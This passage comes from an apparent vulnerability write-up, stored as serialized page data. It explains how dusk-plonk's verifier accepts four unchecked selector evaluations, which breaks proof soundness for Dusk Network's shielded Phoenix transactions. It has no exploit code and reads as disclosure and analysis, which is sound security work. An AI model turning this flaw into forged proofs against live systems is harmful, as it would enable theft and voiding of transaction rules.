ype":24,"tag":83,"props":144484,"children":144486},{"className":144485,"style":93246},[3753,21328],[144487],{"type":29,"value":144165},{"type":24,"tag":83,"props":144489,"children":144491},{"className":144490},[3769],[144492],{"type":24,"tag":83,"props":144493,"children":144495},{"className":144494},[3774,21382],[144496,144525],{"type":24,"tag":83,"props":144497,"children":144499},{"className":144498},[3779],[144500,144520],{"type":24,"tag":83,"props":144501,"children":144503},{"className":144502,"style":92812},[3784],[144504],{"type":24,"tag":83,"props":144505,"children":144506},{"style":93293},[144507,144511],{"type":24,"tag":83,"props":144508,"children":144510},{"className":144509,"style":3794},[3793],[],{"type":24,"tag":83,"props":144512,"children":144514},{"className":144513},[3799,3800,3801,3802],[144515],{"type":24,"tag":83,"props":144516,"children":144518},{"className":144517},[3753,3802],[144519],{"type":29,"value":17265},{"type":24,"tag":83,"props":144521,"children":144523},{"className":144522},[21485],[144524],{"type":29,"value":21488},{"type":24,"tag":83,"props":144526,"children":144528},{"className":144527},[3779],[144529],{"type":24,"tag":83,"props":144530,"children":144532},{"className":144531,"style":92843},[3784],[144533],{"type":24,"tag":83,"props":144534,"children":144535},{},[],{"type":24,"tag":83,"props":144537,"children":144539},{"className":144538},[21479],[144540],{"type":29,"value":15151},{"type":29,"value":144542},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":24,"tag":25,"props":144544,"children":144545},{},[144546],{"type":29,"value":144547},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":24,"tag":18531,"props":144549,"children":144550},{},[],{"type":24,"tag":51,"props":144552,"children":144554},{"id":144553},"where-dusk-plonk-differs-from-textbook-plonk",[144555],{"type":29,"value":144556},"Where dusk-plonk differs from textbook PLONK",{"type":24,"tag":25,"props":144558,"children":144559},{},[144560,144569,144571,144576,144578,144608],{"type":24,"tag":2033,"props":144561,"children":144563},{"href":141435,"rel":144562},[2037],[144564],{"type":24,"tag":32,"props":144565,"children":144567},{"className":144566},[],[144568],{"type":29,"value":141439},{"type":29,"value":144570}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":24,"tag":32,"props":144572,"children":144574},{"className":144573},[],[144575],{"type":29,"value":70279},{"type":29,"value":144577},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":24,"tag":32,"props":144579,"children":144581},{"className":144580},[3726,3727],[144582],{"type":24,"tag":83,"props":144583,"children":144585},{"className":144584},[3732],[144586],{"type":24,"tag":83,"props":144587,"children":144589},{"className":144588,"ariaHidden":1237},[3737],[144590],{"type":24,"tag":83,"props":144591,"children":144593},{"className":144592},[3742],[144594,144598,144603],{"type":24,"tag":83,"props":144595,"children":144597},{"className":144596,"style":110421},[3747],[],{"type":24,"tag":83,"props":144599,"children":144601},{"className":144600,"style":113137},[3753,21328],[144602],{"type":29,"value":113140},{"type":24,"tag":83,"props":144604,"children":144606},{"className":144605,"style":93246},[3753,21328],[144607],{"type":29,"value":144270},{"type":29,"value":144609},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":24,"tag":25,"props":144611,"children":144612},{},[144613,144615,144620,144621,144626,144628,144634,144636,144643],{"type":29,"value":144614},"The important part for this bug is the boundary between ",{"type":24,"tag":2040,"props":144616,"children":144617},{},[144618],{"type":29,"value":144619},"public circuit data",{"type":29,"value":2287},{"type":24,"tag":2040,"props":144622,"children":144623},{},[144624],{"type":29,"value":144625},"prover claims about that data at the random challenge point",{"type":29,"value":144627},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":24,"tag":32,"props":144629,"children":144631},{"className":144630},[],[144632],{"type":29,"value":144633},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":144635}," directly into the ",{"type":24,"tag":2033,"props":144637,"children":144640},{"href":144638,"rel":144639},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[2037],[144641],{"type":29,"value":144642},"linearization multi-scalar multiplication",{"type":29,"value":144644},", ensuring their values are cryptographically bound by construction.",{"type":24,"tag":25,"props":144646,"children":144647},{},[144648,144650,144675],{"type":29,"value":144649},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":24,"tag":32,"props":144651,"children":144653},{"className":144652},[3726,3727],[144654],{"type":24,"tag":83,"props":144655,"children":144657},{"className":144656},[3732],[144658],{"type":24,"tag":83,"props":144659,"children":144661},{"className":144660,"ariaHidden":1237},[3737],[144662],{"type":24,"tag":83,"props":144663,"children":144665},{"className":144664},[3742],[144666,144670],{"type":24,"tag":83,"props":144667,"children":144669},{"className":144668,"style":110421},[3747],[],{"type":24,"tag":83,"props":144671,"children":144673},{"className":144672,"style":113137},[3753,21328],[144674],{"type":29,"value":113140},{"type":29,"value":144676}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":24,"tag":25,"props":144678,"children":144679},{},[144680],{"type":29,"value":144681},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":24,"tag":144683,"props":144684,"children":144685},"dusk-verifier-dependence-graph",{},[],{"type":24,"tag":18531,"props":144687,"children":144688},{},[],{"type":24,"tag":51,"props":144690,"children":144692},{"id":144691},"how-dusk-uses-plonk",[144693],{"type":29,"value":144694},"How Dusk uses PLONK",{"type":24,"tag":25,"props":144696,"children":144697},{},[144698,144704],{"type":24,"tag":2033,"props":144699,"children":144701},{"href":141444,"rel":144700},[2037],[144702],{"type":29,"value":144703},"Dusk Network",{"type":29,"value":144705}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":24,"tag":16422,"props":144707,"children":144708},{},[144709,144714],{"type":24,"tag":67,"props":144710,"children":144711},{},[144712],{"type":29,"value":144713},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":24,"tag":67,"props":144715,"children":144716},{},[144717],{"type":29,"value":144718},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":24,"tag":25,"props":144720,"children":144721},{},[144722,144724,144735,144737,144748],{"type":29,"value":144723},"At node level, every ",{"type":24,"tag":2033,"props":144725,"children":144728},{"href":144726,"rel":144727},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[2037],[144729],{"type":24,"tag":32,"props":144730,"children":144732},{"className":144731},[],[144733],{"type":29,"value":144734},"ProtocolTransaction::Phoenix",{"type":29,"value":144736}," goes through ",{"type":24,"tag":2033,"props":144738,"children":144741},{"href":144739,"rel":144740},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[2037],[144742],{"type":24,"tag":32,"props":144743,"children":144745},{"className":144744},[],[144746],{"type":29,"value":144747},"verify_proof_with_version()",{"type":29,"value":144749}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":24,"tag":25,"props":144751,"children":144752},{},[144753,144755,144766,144768,144779,144780,144791,144792,144803,144804,144815],{"type":29,"value":144754},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":24,"tag":2033,"props":144756,"children":144759},{"href":144757,"rel":144758},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[2037],[144760],{"type":24,"tag":32,"props":144761,"children":144763},{"className":144762},[],[144764],{"type":29,"value":144765},"phoenix()",{"type":29,"value":144767},", for example in ",{"type":24,"tag":2033,"props":144769,"children":144772},{"href":144770,"rel":144771},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[2037],[144773],{"type":24,"tag":32,"props":144774,"children":144776},{"className":144775},[],[144777],{"type":29,"value":144778},"phoenix_stake()",{"type":29,"value":568},{"type":24,"tag":2033,"props":144781,"children":144784},{"href":144782,"rel":144783},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[2037],[144785],{"type":24,"tag":32,"props":144786,"children":144788},{"className":144787},[],[144789],{"type":29,"value":144790},"phoenix_stake_reward()",{"type":29,"value":568},{"type":24,"tag":2033,"props":144793,"children":144796},{"href":144794,"rel":144795},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[2037],[144797],{"type":24,"tag":32,"props":144798,"children":144800},{"className":144799},[],[144801],{"type":29,"value":144802},"phoenix_unstake()",{"type":29,"value":6234},{"type":24,"tag":2033,"props":144805,"children":144808},{"href":144806,"rel":144807},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[2037],[144809],{"type":24,"tag":32,"props":144810,"children":144812},{"className":144811},[],[144813],{"type":29,"value":144814},"phoenix_to_moonlight()",{"type":29,"value":144816},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":24,"tag":25,"props":144818,"children":144819},{},[144820],{"type":24,"tag":2510,"props":144821,"children":144824},{"alt":144822,"src":144823},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":24,"tag":25,"props":144826,"children":144827},{},[144828,144830,144836,144838,144845],{"type":29,"value":144829},"The PLONK implementation, ",{"type":24,"tag":2033,"props":144831,"children":144834},{"href":144832,"rel":144833},"https://github.com/dusk-network/plonk",[2037],[144835],{"type":29,"value":141439},{"type":29,"value":144837},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":24,"tag":2033,"props":144839,"children":144842},{"href":144840,"rel":144841},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[2037],[144843],{"type":29,"value":144844},"the original paper",{"type":29,"value":144846}," was released.",{"type":24,"tag":25,"props":144848,"children":144849},{},[144850,144852,144858],{"type":29,"value":144851},"The Phoenix transaction PLONK circuit is defined ",{"type":24,"tag":2033,"props":144853,"children":144856},{"href":144854,"rel":144855},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[2037],[144857],{"type":29,"value":47303},{"type":29,"value":144859},". The circuit enforces the following set of constraints:",{"type":24,"tag":55458,"props":144861,"children":144862},{},[144863,144879],{"type":24,"tag":122531,"props":144864,"children":144865},{},[144866],{"type":24,"tag":122535,"props":144867,"children":144868},{},[144869,144874],{"type":24,"tag":122539,"props":144870,"children":144871},{},[144872],{"type":29,"value":144873},"Circuit check",{"type":24,"tag":122539,"props":144875,"children":144876},{},[144877],{"type":29,"value":144878},"Statement being checked",{"type":24,"tag":122559,"props":144880,"children":144881},{},[144882,144900,144918,144936,144954,145111,145251,145269],{"type":24,"tag":122535,"props":144883,"children":144884},{},[144885,144895],{"type":24,"tag":122566,"props":144886,"children":144887},{},[144888],{"type":24,"tag":2033,"props":144889,"children":144892},{"href":144890,"rel":144891},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[2037],[144893],{"type":29,"value":144894},"Merkle tree membership",{"type":24,"tag":122566,"props":144896,"children":144897},{},[144898],{"type":29,"value":144899},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":24,"tag":122535,"props":144901,"children":144902},{},[144903,144913],{"type":24,"tag":122566,"props":144904,"children":144905},{},[144906],{"type":24,"tag":2033,"props":144907,"children":144910},{"href":144908,"rel":144909},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[2037],[144911],{"type":29,"value":144912},"Input-note secret-key authorization",{"type":24,"tag":122566,"props":144914,"children":144915},{},[144916],{"type":29,"value":144917},"The prover knows the secret key controlling each input note",{"type":24,"tag":122535,"props":144919,"children":144920},{},[144921,144931],{"type":24,"tag":122566,"props":144922,"children":144923},{},[144924],{"type":24,"tag":2033,"props":144925,"children":144928},{"href":144926,"rel":144927},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[2037],[144929],{"type":29,"value":144930},"Nullifier correctness",{"type":24,"tag":122566,"props":144932,"children":144933},{},[144934],{"type":29,"value":144935},"Each nullifier matches the corresponding note key and position",{"type":24,"tag":122535,"props":144937,"children":144938},{},[144939,144949],{"type":24,"tag":122566,"props":144940,"children":144941},{},[144942],{"type":24,"tag":2033,"props":144943,"children":144946},{"href":144944,"rel":144945},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[2037],[144947],{"type":29,"value":144948},"Output value commitment correctness",{"type":24,"tag":122566,"props":144950,"children":144951},{},[144952],{"type":29,"value":144953},"Each public output commitment matches the secret output value and blinder",{"type":24,"tag":122535,"props":144955,"children":144956},{},[144957,144967],{"type":24,"tag":122566,"props":144958,"children":144959},{},[144960],{"type":24,"tag":2033,"props":144961,"children":144964},{"href":144962,"rel":144963},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[2037],[144965],{"type":29,"value":144966},"Balance integrity",{"type":24,"tag":122566,"props":144968,"children":144969},{},[144970],{"type":24,"tag":32,"props":144971,"children":144973},{"className":144972},[3726,3727],[144974],{"type":24,"tag":83,"props":144975,"children":144977},{"className":144976},[3732],[144978],{"type":24,"tag":83,"props":144979,"children":144981},{"className":144980,"ariaHidden":1237},[3737],[144982,145022,145062,145094],{"type":24,"tag":83,"props":144983,"children":144985},{"className":144984},[3742],[144986,144990,144995,144999,145009,145013,145018],{"type":24,"tag":83,"props":144987,"children":144989},{"className":144988,"style":3854},[3747],[],{"type":24,"tag":83,"props":144991,"children":144993},{"className":144992,"style":21371},[21364,21369,21370],[144994],{"type":29,"value":108375},{"type":24,"tag":83,"props":144996,"children":144998},{"className":144997,"style":3872},[3833],[],{"type":24,"tag":83,"props":145000,"children":145002},{"className":145001},[3753,29],[145003],{"type":24,"tag":83,"props":145004,"children":145006},{"className":145005},[3753],[145007],{"type":29,"value":145008},"inputs",{"type":24,"tag":83,"props":145010,"children":145012},{"className":145011,"style":3931},[3833],[],{"type":24,"tag":83,"props":145014,"children":145016},{"className":145015},[3936],[145017],{"type":29,"value":1275},{"type":24,"tag":83,"props":145019,"children":145021},{"className":145020,"style":3931},[3833],[],{"type":24,"tag":83,"props":145023,"children":145025},{"className":145024},[3742],[145026,145030,145035,145039,145049,145053,145058],{"type":24,"tag":83,"props":145027,"children":145029},{"className":145028,"style":3854},[3747],[],{"type":24,"tag":83,"props":145031,"children":145033},{"className":145032,"style":21371},[21364,21369,21370],[145034],{"type":29,"value":108375},{"type":24,"tag":83,"props":145036,"children":145038},{"className":145037,"style":3872},[3833],[],{"type":24,"tag":83,"props":145040,"children":145042},{"className":145041},[3753,29],[145043],{"type":24,"tag":83,"props":145044,"children":145046},{"className":145045},[3753],[145047],{"type":29,"value":145048},"outputs",{"type":24,"tag":83,"props":145050,"children":145052},{"className":145051,"style":3834},[3833],[],{"type":24,"tag":83,"props":145054,"children":145056},{"className":145055},[3839],[145057],{"type":29,"value":4126},{"type":24,"tag":83,"props":145059,"children":145061},{"className":145060,"style":3834},[3833],[],{"type":24,"tag":83,"props":145063,"children":145065},{"className":145064},[3742],[145066,145071,145081,145085,145090],{"type":24,"tag":83,"props":145067,"children":145070},{"className":145068,"style":145069},[3747],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":24,"tag":83,"props":145072,"children":145074},{"className":145073},[3753,29],[145075],{"type":24,"tag":83,"props":145076,"children":145078},{"className":145077},[3753],[145079],{"type":29,"value":145080},"fee",{"type":24,"tag":83,"props":145082,"children":145084},{"className":145083,"style":3834},[3833],[],{"type":24,"tag":83,"props":145086,"children":145088},{"className":145087},[3839],[145089],{"type":29,"value":4126},{"type":24,"tag":83,"props":145091,"children":145093},{"className":145092,"style":3834},[3833],[],{"type":24,"tag":83,"props":145095,"children":145097},{"className":145096},[3742],[145098,145102],{"type":24,"tag":83,"props":145099,"children":145101},{"className":145100,"style":114635},[3747],[],{"type":24,"tag":83,"props":145103,"children":145105},{"className":145104},[3753,29],[145106],{"type":24,"tag":83,"props":145107,"children":145109},{"className":145108},[3753],[145110],{"type":29,"value":61678},{"type":24,"tag":122535,"props":145112,"children":145113},{},[145114,145131],{"type":24,"tag":122566,"props":145115,"children":145116},{},[145117,145124,145125],{"type":24,"tag":2033,"props":145118,"children":145121},{"href":145119,"rel":145120},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[2037],[145122],{"type":29,"value":145123},"Range checks on inputs",{"type":29,"value":2287},{"type":24,"tag":2033,"props":145126,"children":145129},{"href":145127,"rel":145128},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[2037],[145130],{"type":29,"value":145048},{"type":24,"tag":122566,"props":145132,"children":145133},{},[145134,145136],{"type":29,"value":145135},"All note values lie in ",{"type":24,"tag":32,"props":145137,"children":145139},{"className":145138},[3726,3727],[145140],{"type":24,"tag":83,"props":145141,"children":145143},{"className":145142},[3732],[145144],{"type":24,"tag":83,"props":145145,"children":145147},{"className":145146,"ariaHidden":1237},[3737],[145148,145233],{"type":24,"tag":83,"props":145149,"children":145151},{"className":145150},[3742],[145152,145156,145161,145166,145171,145175,145220,145224,145229],{"type":24,"tag":83,"props":145153,"children":145155},{"className":145154,"style":114892},[3747],[],{"type":24,"tag":83,"props":145157,"children":145159},{"className":145158},[21457],[145160],{"type":29,"value":1161},{"type":24,"tag":83,"props":145162,"children":145164},{"className":145163},[3753],[145165],{"type":29,"value":1166},{"type":24,"tag":83,"props":145167,"children":145169},{"className":145168},[3865],[145170],{"type":29,"value":3868},{"type":24,"tag":83,"props":145172,"children":145174},{"className":145173,"style":3872},[3833],[],{"type":24,"tag":83,"props":145176,"children":145178},{"className":145177},[3753],[145179,145184],{"type":24,"tag":83,"props":145180,"children":145182},{"className":145181},[3753],[145183],{"type":29,"value":2867},{"type":24,"tag":83,"props":145185,"children":145187},{"className":145186},[3769],[145188],{"type":24,"tag":83,"props":145189,"children":145191},{"className":145190},[3774],[145192],{"type":24,"tag":83,"props":145193,"children":145195},{"className":145194},[3779],[145196],{"type":24,"tag":83,"props":145197,"children":145199},{"className":145198,"style":3748},[3784],[145200],{"type":24,"tag":83,"props":145201,"children":145202},{"style":3788},[145203,145207],{"type":24,"tag":83,"props":145204,"children":145206},{"className":145205,"style":3794},[3793],[],{"type":24,"tag":83,"props":145208,"children":145210},{"className":145209},[3799,3800,3801,3802],[145211],{"type":24,"tag":83,"props":145212,"children":145214},{"className":145213},[3753,3802],[145215],{"type":24,"tag":83,"props":145216,"children":145218},{"className":145217},[3753,3802],[145219],{"type":29,"value":29174},{"type":24,"tag":83,"props":145221,"children":145223},{"className":145222,"style":3834},[3833],[],{"type":24,"tag":83,"props":145225,"children":145227},{"className":145226},[3839],[145228],{"type":29,"value":3813},{"type":24,"tag":83,"props":145230,"children":145232},{"className":145231,"style":3834},[3833],[],{"type":24,"tag":83,"props":145234,"children":145236},{"className":145235},[3742],[145237,145241,145246],{"type":24,"tag":83,"props":145238,"children":145240},{"className":145239,"style":3854},[3747],[],{"type":24,"tag":83,"props":145242,"children":145244},{"className":145243},[3753],[145245],{"type":29,"value":3756},{"type":24,"tag":83,"props":145247,"children":145249},{"className":145248},[21479],[145250],{"type":29,"value":15151},{"type":24,"tag":122535,"props":145252,"children":145253},{},[145254,145264],{"type":24,"tag":122566,"props":145255,"children":145256},{},[145257],{"type":24,"tag":2033,"props":145258,"children":145261},{"href":145259,"rel":145260},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[2037],[145262],{"type":29,"value":145263},"Sender-authorship signatures",{"type":24,"tag":122566,"props":145265,"children":145266},{},[145267],{"type":29,"value":145268},"The transaction payload is signed by the sender's two signing key components",{"type":24,"tag":122535,"props":145270,"children":145271},{},[145272,145282],{"type":24,"tag":122566,"props":145273,"children":145274},{},[145275],{"type":24,"tag":2033,"props":145276,"children":145279},{"href":145277,"rel":145278},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[2037],[145280],{"type":29,"value":145281},"Sender encryption correctness",{"type":24,"tag":122566,"props":145283,"children":145284},{},[145285],{"type":29,"value":145286},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":24,"tag":25,"props":145288,"children":145289},{},[145290,145292,145298,145300,145309],{"type":29,"value":145291},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":24,"tag":32,"props":145293,"children":145295},{"className":145294},[],[145296],{"type":29,"value":145297},"tx.public_inputs()",{"type":29,"value":145299}," via ",{"type":24,"tag":2033,"props":145301,"children":145303},{"href":144739,"rel":145302},[2037],[145304],{"type":24,"tag":32,"props":145305,"children":145307},{"className":145306},[],[145308],{"type":29,"value":144747},{"type":29,"value":161},{"type":24,"tag":25,"props":145311,"children":145312},{},[145313],{"type":29,"value":145314},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":24,"tag":18531,"props":145316,"children":145317},{},[],{"type":24,"tag":51,"props":145319,"children":145320},{"id":90014},[145321],{"type":29,"value":145322},"The bug",{"type":24,"tag":25,"props":145324,"children":145325},{},[145326,145328,145335,145337,145348],{"type":29,"value":145327},"In the ",{"type":24,"tag":2033,"props":145329,"children":145332},{"href":145330,"rel":145331},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[2037],[145333],{"type":29,"value":145334},"PLONK verification",{"type":29,"value":145336},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":24,"tag":2033,"props":145338,"children":145341},{"href":145339,"rel":145340},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[2037],[145342],{"type":24,"tag":32,"props":145343,"children":145345},{"className":145344},[],[145346],{"type":29,"value":145347},"E_evals",{"type":29,"value":145349},") are:",{"type":24,"tag":16422,"props":145351,"children":145352},{},[145353,145385,145410,145435],{"type":24,"tag":67,"props":145354,"children":145355},{},[145356,145362,145363,145369,145370,145376,145377,145383],{"type":24,"tag":32,"props":145357,"children":145359},{"className":145358},[],[145360],{"type":29,"value":145361},"a_eval",{"type":29,"value":568},{"type":24,"tag":32,"props":145364,"children":145366},{"className":145365},[],[145367],{"type":29,"value":145368},"b_eval",{"type":29,"value":568},{"type":24,"tag":32,"props":145371,"children":145373},{"className":145372},[],[145374],{"type":29,"value":145375},"c_eval",{"type":29,"value":568},{"type":24,"tag":32,"props":145378,"children":145380},{"className":145379},[],[145381],{"type":29,"value":145382},"d_eval",{"type":29,"value":145384}," (witness)",{"type":24,"tag":67,"props":145386,"children":145387},{},[145388,145394,145395,145401,145402,145408],{"type":24,"tag":32,"props":145389,"children":145391},{"className":145390},[],[145392],{"type":29,"value":145393},"s_sigma_1_eval",{"type":29,"value":568},{"type":24,"tag":32,"props":145396,"children":145398},{"className":145397},[],[145399],{"type":29,"value":145400},"s_sigma_2_eval",{"type":29,"value":568},{"type":24,"tag":32,"props":145403,"children":145405},{"className":145404},[],[145406],{"type":29,"value":145407},"s_sigma_3_eval",{"type":29,"value":145409}," (permutation)",{"type":24,"tag":67,"props":145411,"children":145412},{},[145413,145419,145420,145426,145427,145433],{"type":24,"tag":32,"props":145414,"children":145416},{"className":145415},[],[145417],{"type":29,"value":145418},"a_w_eval",{"type":29,"value":568},{"type":24,"tag":32,"props":145421,"children":145423},{"className":145422},[],[145424],{"type":29,"value":145425},"b_w_eval",{"type":29,"value":568},{"type":24,"tag":32,"props":145428,"children":145430},{"className":145429},[],[145431],{"type":29,"value":145432},"d_w_eval",{"type":29,"value":145434}," (shifted witness)",{"type":24,"tag":67,"props":145436,"children":145437},{},[145438,145444],{"type":24,"tag":32,"props":145439,"children":145441},{"className":145440},[],[145442],{"type":29,"value":145443},"z_eval",{"type":29,"value":145445}," (permutation accumulator)",{"type":24,"tag":25,"props":145447,"children":145448},{},[145449,145451,145455],{"type":29,"value":145450},"But the following selector evaluations were ",{"type":24,"tag":2655,"props":145452,"children":145453},{},[145454],{"type":29,"value":18226},{"type":29,"value":145456}," included:",{"type":24,"tag":16422,"props":145458,"children":145459},{},[145460,145471,145482,145493],{"type":24,"tag":67,"props":145461,"children":145462},{},[145463,145469],{"type":24,"tag":32,"props":145464,"children":145466},{"className":145465},[],[145467],{"type":29,"value":145468},"q_arith_eval",{"type":29,"value":145470}," (arithmetic selector)",{"type":24,"tag":67,"props":145472,"children":145473},{},[145474,145480],{"type":24,"tag":32,"props":145475,"children":145477},{"className":145476},[],[145478],{"type":29,"value":145479},"q_c_eval",{"type":29,"value":145481}," (constant selector)",{"type":24,"tag":67,"props":145483,"children":145484},{},[145485,145491],{"type":24,"tag":32,"props":145486,"children":145488},{"className":145487},[],[145489],{"type":29,"value":145490},"q_l_eval",{"type":29,"value":145492}," (left selector)",{"type":24,"tag":67,"props":145494,"children":145495},{},[145496,145502],{"type":24,"tag":32,"props":145497,"children":145499},{"className":145498},[],[145500],{"type":29,"value":145501},"q_r_eval",{"type":29,"value":145503}," (right selector)",{"type":24,"tag":25,"props":145505,"children":145506},{},[145507,145509,145516,145517,145524,145525,145532,145533,145540],{"type":29,"value":145508},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":24,"tag":2033,"props":145510,"children":145513},{"href":145511,"rel":145512},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[2037],[145514],{"type":29,"value":145515},"proof struct",{"type":29,"value":568},{"type":24,"tag":2033,"props":145518,"children":145521},{"href":145519,"rel":145520},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[2037],[145522],{"type":29,"value":145523},"transcript absorption",{"type":29,"value":568},{"type":24,"tag":2033,"props":145526,"children":145529},{"href":145527,"rel":145528},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[2037],[145530],{"type":29,"value":145531},"arithmetic widget",{"type":29,"value":568},{"type":24,"tag":2033,"props":145534,"children":145537},{"href":145535,"rel":145536},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[2037],[145538],{"type":29,"value":145539},"fixed-base ECC widget",{"type":29,"value":145541},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":24,"tag":25,"props":145543,"children":145544},{},[145545,145547,145551],{"type":29,"value":145546},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":24,"tag":2655,"props":145548,"children":145549},{},[145550],{"type":29,"value":18226},{"type":29,"value":145552}," bugs:",{"type":24,"tag":16422,"props":145554,"children":145555},{},[145556,145696],{"type":24,"tag":67,"props":145557,"children":145558},{},[145559,145561,145606,145608,145614,145616,145621,145622,145627,145628,145633,145635,145641,145643,145688,145690,145695],{"type":29,"value":145560},"There is no prover-supplied ",{"type":24,"tag":32,"props":145562,"children":145564},{"className":145563},[3726,3727],[145565],{"type":24,"tag":83,"props":145566,"children":145568},{"className":145567},[3732],[145569],{"type":24,"tag":83,"props":145570,"children":145572},{"className":145571,"ariaHidden":1237},[3737],[145573],{"type":24,"tag":83,"props":145574,"children":145576},{"className":145575},[3742],[145577,145581,145586,145591,145596,145601],{"type":24,"tag":83,"props":145578,"children":145580},{"className":145579,"style":3854},[3747],[],{"type":24,"tag":83,"props":145582,"children":145584},{"className":145583},[3753,21328],[145585],{"type":29,"value":2891},{"type":24,"tag":83,"props":145587,"children":145589},{"className":145588},[21457],[145590],{"type":29,"value":558},{"type":24,"tag":83,"props":145592,"children":145594},{"className":145593,"style":113137},[3753,21328],[145595],{"type":29,"value":113140},{"type":24,"tag":83,"props":145597,"children":145599},{"className":145598,"style":93246},[3753,21328],[145600],{"type":29,"value":144270},{"type":24,"tag":83,"props":145602,"children":145604},{"className":145603},[21479],[145605],{"type":29,"value":2872},{"type":29,"value":145607}," field at all. ",{"type":24,"tag":32,"props":145609,"children":145611},{"className":145610},[],[145612],{"type":29,"value":145613},"ProofEvaluations",{"type":29,"value":145615}," contains 